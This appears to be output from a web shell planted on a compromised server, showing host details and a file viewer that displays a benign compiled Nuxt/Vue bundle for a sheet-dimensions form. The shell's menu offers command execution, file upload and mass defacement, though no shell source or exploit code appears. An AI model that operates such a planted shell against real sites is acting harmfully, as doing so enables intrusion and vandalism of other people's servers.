���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
.nuxt
/
dist
/
server
/
_nuxt
/
Viewing: dimensions-DdJBwY2u.js
import { u as useFormGroup, _ as __nuxt_component_3 } from "./Input-B3b5x64j.js"; import { u as useId } from "./id-DOoFjeHa.js"; import { defineComponent, toRef, inject, computed, mergeProps, useSSRContext, provide, withCtx, renderSlot, ref, reactive, withAsyncContext, unref, createVNode, toDisplayString } from "vue"; import { twMerge, twJoin } from "tailwind-merge"; import { _ as _export_sfc, m as mergeConfig, d as appConfig, e as useUI, g as get, b as useI18n, u as useHead, f as useState, h as useNuxtApp, i as useToast, c as useLocalePath, j as useAsyncData, k as useRuntimeConfig, n as navigateTo, l as __nuxt_component_3$1 } from "../server.mjs"; import { ssrRenderAttrs, ssrRenderClass, ssrLooseEqual, ssrGetDynamicModelProps, ssrRenderAttr, ssrRenderSlot, ssrInterpolate, ssrRenderList, ssrRenderComponent } from "vue/server-renderer"; import { u as useLocalForage } from "./composables-C_0rrRVB.js"; import "defu"; import "@vueuse/core"; import "ofetch"; import "#internal/nuxt/paths"; import "hookable"; import "unctx"; import "h3"; import "unhead"; import "@unhead/shared"; import "vue-router"; import "radix3"; import "devalue"; import "@vue/devtools-api"; import "destr"; import "klona"; import "cookie-es"; import "ohash"; import "@iconify/vue"; import "@iconify/utils/lib/css/icon"; const radioGroup = { wrapper: "relative flex items-start", fieldset: "", legend: "text-sm font-medium text-gray-700 dark:text-gray-200 mb-1", default: { color: "primary" } }; const radio = { wrapper: "relative flex items-start", container: "flex items-center h-5", base: "h-4 w-4 dark:checked:bg-current dark:checked:border-transparent disabled:opacity-50 disabled:cursor-not-allowed focus:ring-0 focus:ring-transparent focus:ring-offset-transparent", form: "form-radio", color: "text-{color}-500 dark:text-{color}-400", background: "bg-white dark:bg-gray-900", border: "border border-gray-300 dark:border-gray-700", ring: "focus-visible:ring-2 focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400 focus-visible:ring-offset-2 focus-visible:ring-offset-white dark:focus-visible:ring-offset-gray-900", inner: "ms-3 flex flex-col", label: "text-sm font-medium text-gray-700 dark:text-gray-200", required: "text-sm text-red-500 dark:text-red-400", help: "text-sm text-gray-500 dark:text-gray-400", default: { color: "primary" } }; const config$1 = mergeConfig(appConfig.ui.strategy, appConfig.ui.radio, radio); const _sfc_main$2 = defineComponent({ inheritAttrs: false, props: { id: { type: String, default: null }, value: { type: [String, Number, Boolean], default: null }, modelValue: { type: [String, Number, Boolean, Object], default: null }, name: { type: String, default: null }, disabled: { type: Boolean, default: false }, help: { type: String, default: null }, label: { type: String, default: null }, required: { type: Boolean, default: false }, color: { type: String, default: () => config$1.default.color, validator(value) { return appConfig.ui.colors.includes(value); } }, inputClass: { type: String, default: null }, class: { type: [String, Object, Array], default: () => "" }, ui: { type: Object, default: () => ({}) } }, emits: ["update:modelValue", "change"], setup(props, { emit }) { const { ui, attrs } = useUI("radio", toRef(props, "ui"), config$1, toRef(props, "class")); const inputId = props.id ?? useId("$9ml2Pv5YlC"); const radioGroup2 = inject("radio-group", null); const { emitFormChange, color, name } = radioGroup2 ?? useFormGroup(props, config$1); const pick = computed({ get() { return props.modelValue; }, set(value) { emit("update:modelValue", value); if (!radioGroup2) { emitFormChange(); } } }); function onChange(event) { emit("change", event.target.value); } const inputClass = computed(() => { return twMerge(twJoin( ui.value.base, ui.value.form, ui.value.background, ui.value.border, color.value && ui.value.ring.replaceAll("{color}", color.value), color.value && ui.value.color.replaceAll("{color}", color.value) ), props.inputClass); }); return { inputId, // eslint-disable-next-line vue/no-dupe-keys ui, attrs, pick, // eslint-disable-next-line vue/no-dupe-keys name, // eslint-disable-next-line vue/no-dupe-keys inputClass, onChange }; } }); function _sfc_ssrRender$1(_ctx, _push, _parent, _attrs, $props, $setup, $data, $options) { let _temp0; _push(`<div${ssrRenderAttrs(mergeProps({ class: _ctx.ui.wrapper, "data-n-ids": _ctx.attrs["data-n-ids"] }, _attrs))}><div class="${ssrRenderClass(_ctx.ui.container)}"><input${ssrRenderAttrs((_temp0 = mergeProps({ id: _ctx.inputId, checked: ssrLooseEqual(_ctx.pick, _ctx.value), name: _ctx.name, required: _ctx.required, value: _ctx.value, disabled: _ctx.disabled, type: "radio", class: _ctx.inputClass }, _ctx.attrs), mergeProps(_temp0, ssrGetDynamicModelProps(_temp0, _ctx.pick))))}></div>`); if (_ctx.label || _ctx.$slots.label) { _push(`<div class="${ssrRenderClass(_ctx.ui.inner)}"><label${ssrRenderAttr("for", _ctx.inputId)} class="${ssrRenderClass(_ctx.ui.label)}">`); ssrRenderSlot(_ctx.$slots, "label", { label: _ctx.label }, () => { _push(`${ssrInterpolate(_ctx.label)}`); }, _push, _parent); if (_ctx.required) { _push(`<span class="${ssrRenderClass(_ctx.ui.required)}">*</span>`); } else { _push(`<!---->`); } _push(`</label>`); if (_ctx.help || _ctx.$slots.help) { _push(`<p class="${ssrRenderClass(_ctx.ui.help)}">`); ssrRenderSlot(_ctx.$slots, "help", { help: _ctx.help }, () => { _push(`${ssrInterpolate(_ctx.help)}`); }, _push, _parent); _push(`</p>`); } else { _push(`<!---->`); } _push(`</div>`); } else { _push(`<!---->`); } _push(`</div>`); } const _sfc_setup$2 = _sfc_main$2.setup; _sfc_main$2.setup = (props, ctx) => { const ssrContext = useSSRContext(); (ssrContext.modules || (ssrContext.modules = /* @__PURE__ */ new Set())).add("node_modules/@nuxt/ui/dist/runtime/components/forms/Radio.vue"); return _sfc_setup$2 ? _sfc_setup$2(props, ctx) : void 0; }; const __nuxt_component_0 = /* @__PURE__ */ _export_sfc(_sfc_main$2, [["ssrRender", _sfc_ssrRender$1]]); const config = mergeConfig(appConfig.ui.strategy, appConfig.ui.radioGroup, radioGroup); const configRadio = mergeConfig(appConfig.ui.strategy, appConfig.ui.radio, radio); const _sfc_main$1 = defineComponent({ components: { URadio: __nuxt_component_0 }, inheritAttrs: false, props: { modelValue: { type: [String, Number, Object, Boolean], default: "" }, name: { type: String, default: null }, legend: { type: String, default: null }, options: { type: Array, default: () => [] }, optionAttribute: { type: String, default: "label" }, valueAttribute: { type: String, default: "value" }, disabled: { type: Boolean, default: false }, color: { type: String, default: () => config.default.color, validator(value) { return appConfig.ui.colors.includes(value); } }, class: { type: [String, Object, Array], default: () => "" }, ui: { type: Object, default: () => ({}) }, uiRadio: { type: Object, default: () => ({}) } }, emits: ["update:modelValue", "change"], setup(props, { emit }) { const { ui, attrs } = useUI("radioGroup", toRef(props, "ui"), config, toRef(props, "class")); const { ui: uiRadio } = useUI("radio", toRef(props, "uiRadio"), configRadio); const { emitFormChange, color, name } = useFormGroup(props, config); provide("radio-group", { color, name }); const onUpdate = (value) => { emit("update:modelValue", value); emit("change", value); emitFormChange(); }; const guessOptionValue = (option) => { return get(option, props.valueAttribute, get(option, props.optionAttribute)); }; const guessOptionText = (option) => { return get(option, props.optionAttribute, get(option, props.valueAttribute)); }; const guessOptionSelected = (option) => { return props.modelValue === guessOptionValue(option); }; const normalizeOption = (option) => { if (["string", "number", "boolean"].includes(typeof option)) { return { value: option, label: option }; } return { ...option, value: guessOptionValue(option), label: guessOptionText(option), selected: guessOptionSelected(option) }; }; const normalizedOptions = computed(() => { return props.options.map((option) => normalizeOption(option)); }); return { // eslint-disable-next-line vue/no-dupe-keys ui, // eslint-disable-next-line vue/no-dupe-keys uiRadio, attrs, normalizedOptions, // eslint-disable-next-line vue/no-dupe-keys onUpdate }; } }); function _sfc_ssrRender(_ctx, _push, _parent, _attrs, $props, $setup, $data, $options) { const _component_URadio = __nuxt_component_0; _push(`<div${ssrRenderAttrs(mergeProps({ class: _ctx.ui.wrapper }, _attrs))}><fieldset${ssrRenderAttrs(mergeProps(_ctx.attrs, { class: _ctx.ui.fieldset }))}>`); if (_ctx.legend || _ctx.$slots.legend) { _push(`<legend class="${ssrRenderClass(_ctx.ui.legend)}">`); ssrRenderSlot(_ctx.$slots, "legend", {}, () => { _push(`${ssrInterpolate(_ctx.legend)}`); }, _push, _parent); _push(`</legend>`); } else { _push(`<!---->`); } _push(`<!--[-->`); ssrRenderList(_ctx.normalizedOptions, (option) => { _push(ssrRenderComponent(_component_URadio, { key: option.value, label: option.label, "model-value": _ctx.modelValue, value: option.value, help: option.help, disabled: option.disabled || _ctx.disabled, ui: _ctx.uiRadio, onChange: ($event) => _ctx.onUpdate(option.value) }, { label: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { ssrRenderSlot(_ctx.$slots, "label", mergeProps({ ref_for: true }, { option, selected: option.selected }), null, _push2, _parent2, _scopeId); } else { return [ renderSlot(_ctx.$slots, "label", mergeProps({ ref_for: true }, { option, selected: option.selected })) ]; } }), help: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { ssrRenderSlot(_ctx.$slots, "help", mergeProps({ ref_for: true }, { option, selected: option.selected }), null, _push2, _parent2, _scopeId); } else { return [ renderSlot(_ctx.$slots, "help", mergeProps({ ref_for: true }, { option, selected: option.selected })) ]; } }), _: 2 }, _parent)); }); _push(`<!--]--></fieldset></div>`); } const _sfc_setup$1 = _sfc_main$1.setup; _sfc_main$1.setup = (props, ctx) => { const ssrContext = useSSRContext(); (ssrContext.modules || (ssrContext.modules = /* @__PURE__ */ new Set())).add("node_modules/@nuxt/ui/dist/runtime/components/forms/RadioGroup.vue"); return _sfc_setup$1 ? _sfc_setup$1(props, ctx) : void 0; }; const __nuxt_component_1 = /* @__PURE__ */ _export_sfc(_sfc_main$1, [["ssrRender", _sfc_ssrRender]]); const _sfc_main = /* @__PURE__ */ defineComponent({ __name: "dimensions", __ssrInlineRender: true, async setup(__props) { let __temp, __restore; const { t } = useI18n(); const { locale } = useI18n(); useHead({ title: t("Dimensions") }); const feildsOptions = useState("$8uDViqJwR2"); const { $api } = useNuxtApp(); const config2 = useRuntimeConfig(); const loading = ref(false); const sheetsDB = useLocalForage("sheets"); const toast = useToast(); const localePath = useLocalePath(); let form = reactive({ 0: { name_sheet: "", width: "183", length: "366", rotation: 0, value: 1, name: "ورق", name_en: "Sheet Name " }, 1: { name_sheet: "", width: "183", length: "366", rotation: 0, value: 2, name: "ورق رنگ 1", name_en: "Sheet color 1" }, 2: { name_sheet: "", width: "183", length: "366", rotation: 0, value: 3, name: "ورق رنگ 2", name_en: "Sheet color 2" }, 3: { name_sheet: "", width: "183", length: "366", rotation: 0, value: 4, name: "ورق رنگ 3", name_en: "Sheet color 3" }, 4: { name_sheet: "", width: "183", length: "366", rotation: 0, value: 5, name: "ورق رنگ 4", name_en: "Sheet color 4" }, 5: { name_sheet: "", width: "183", length: "366", rotation: 0, value: 6, name: "ورق سه میل", name_en: "Sheet 3 mil" }, 6: { name_sheet: "", width: "183", length: "366", rotation: 0, value: 7, name: "ورق فومیزه 16 میل", name_en: "Sheet fomize 16 mil" }, 7: { name_sheet: "", width: "183", length: "366", rotation: 0, value: 8, name: "ورق فومیزه 3 میل", name_en: "Sheet fomize 3 mil" } }); [__temp, __restore] = withAsyncContext(async () => useAsyncData(async () => { const [feilds] = await Promise.all([ $api(config2.public.API_URL + "/analyze/materials") ]); if (0 < JSON.parse(feilds).data.materials.length) { feildsOptions.value = JSON.parse(feilds).data.materials; } return { feilds }; }, { server: true }, "$Z0visS8lDR")), await __temp, __restore(); const handelClick = async () => { loading.value = true; for (let index = 0; index < feildsOptions.value.length; index++) { const element = form[index]; if (!element.width) { return toast.add({ title: t("Section ") + (index + 1) + " " + t("width ") + t(" is the ") + (locale.value == "en" ? element.name_en : element.name) + t(" of the required sheet"), color: "orange" }), loading.value = false; } if (!element.length) { return toast.add({ title: t("Section ") + (index + 1) + " " + t("length ") + t(" is the ") + (locale.value == "en" ? element.name_en : element.name) + t(" of the required sheet"), color: "orange" }), loading.value = false; } } await sheetsDB.setItem("new", JSON.stringify(form)); return navigateTo(localePath("/analyze/start")); }; return (_ctx, _push, _parent, _attrs) => { const _component_UInput = __nuxt_component_3; const _component_URadioGroup = __nuxt_component_1; const _component_UButton = __nuxt_component_3$1; _push(`<div${ssrRenderAttrs(mergeProps({ class: "w-[95%] mx-auto lg:w-10/12" }, _attrs))}><div${ssrRenderAttr("dir", _ctx.$i18n.locale == "en" ? "ltr" : "rtl")} class="w-full gap-3 flex justify-start !pt-1 items-center flex-col"><div class="w-full"><label class="w-8/12 mx-auto flex px-2 h-10 text-black rounded-lg bg-[#f7941d] items-center justify-center"><span class="block px-2 text-sm">${ssrInterpolate(unref(t)("Sheet Name"))}</span></label></div><!--[-->`); ssrRenderList(unref(feildsOptions), (row, index) => { _push(`<div class="w-full flex flex-col gap-3 justify-start items-start border rounded-lg px-3 py-2 bg-gray-100"><div class="w-full flex justify-start items-center"><label class="${ssrRenderClass([_ctx.$i18n.locale == "en" ? "text-left w-40 " : "text-right w-24 ", "block text-sm bold text-black"])}">${ssrInterpolate(index + 1)}. ${ssrInterpolate(_ctx.$i18n.locale == "en" ? row.title_en : row.title)}</label></div><div class="w-full flex justify-between items-center"><div class="w-[33%] flex justify-start items-center"><label class="w-7/12 text-center block text-sm bold text-black">${ssrInterpolate(unref(t)("Sheet Name"))} : </label>`); _push(ssrRenderComponent(_component_UInput, { modelValue: unref(form)[index].name_sheet, "onUpdate:modelValue": ($event) => unref(form)[index].name_sheet = $event, variant: "outline", class: "w-5/12", type: "text", inputClass: " !h-8 bg-white text-center !shadow-none focus:ring-1 rounded-md focus:ring-orange-600 py-0 text-xs" }, null, _parent)); _push(`</div><div class="w-[33%] flex justify-start items-center"><label class="w-7/12 text-center block text-sm bold text-black">${ssrInterpolate(unref(t)("Sheet Width"))} : </label>`); _push(ssrRenderComponent(_component_UInput, { modelValue: unref(form)[index].width, "onUpdate:modelValue": ($event) => unref(form)[index].width = $event, variant: "outline", inputmode: "numeric", type: "number", class: "w-5/12", inputClass: " text-center !h-8 bg-white !shadow-none focus:ring-1 rounded-md focus:ring-orange-600 py-0 text-xs" }, null, _parent)); _push(`</div><div class="w-[33%] flex justify-start items-center"><label class="w-7/12 text-center block text-sm bold text-black">${ssrInterpolate(unref(t)("Sheet Length"))} : </label>`); _push(ssrRenderComponent(_component_UInput, { modelValue: unref(form)[index].length, "onUpdate:modelValue": ($event) => unref(form)[index].length = $event, variant: "outline", inputmode: "numeric", type: "number", class: "w-5/12", inputClass: " text-center !h-8 bg-white !shadow-none focus:ring-1 rounded-md focus:ring-orange-600 py-0 text-xs" }, null, _parent)); _push(`</div></div><div class="w-full rounded-md flex justify-between items-center"><div class="w-3/12 h-8 mb-1"><h2 class="text-sm bold text-green-800 h-full w-full flex justify-start items-center px-2">${ssrInterpolate(unref(t)("rotation"))} : </h2></div><div class="w-9/12 flex justify-start items-center rounded h-full">`); _push(ssrRenderComponent(_component_URadioGroup, { color: "red", modelValue: unref(form)[index].rotation, "onUpdate:modelValue": ($event) => unref(form)[index].rotation = $event, options: [ { value: 1, label: unref(t)("active") }, { value: 0, label: unref(t)("deactive") } ], ui: { wrapper: " w-full", fieldset: "w-full flex gap-x-3 justify-start items-center" } }, null, _parent)); _push(`</div></div></div>`); }); _push(`<!--]--></div><footer class="bg-white flex justify-between items-center pb-2 pt-1 sm:border-r sm:border-l w-full sm:w-9/12 md:w-7/12 lg:w-6/12 2xl:w-5/12 mx-auto fixed bottom-0 right-0 left-0 border-t"><div class="px-1 w-full">`); _push(ssrRenderComponent(_component_UButton, { onClick: handelClick, loading: unref(loading), square: "", class: "w-full flex text-white rounded-sm border h-10 bg-main-700 items-center justify-center" }, { default: withCtx((_, _push2, _parent2, _scopeId) => { if (_push2) { _push2(`<span class="block px-2 text-xs bold truncate"${_scopeId}>${ssrInterpolate(unref(t)("payment_5"))}</span>`); } else { return [ createVNode("span", { class: "block px-2 text-xs bold truncate" }, toDisplayString(unref(t)("payment_5")), 1) ]; } }), _: 1 }, _parent)); _push(`</div></footer></div>`); }; } }); const _sfc_setup = _sfc_main.setup; _sfc_main.setup = (props, ctx) => { const ssrContext = useSSRContext(); (ssrContext.modules || (ssrContext.modules = /* @__PURE__ */ new Set())).add("pages/analyze/dimensions.vue"); return _sfc_setup ? _sfc_setup(props, ctx) : void 0; }; export { _sfc_main as default }; //# sourceMappingURL=dimensions-DdJBwY2u.js.map
Coded With 💗 by
0x6ick Mod By V1rus_Alfa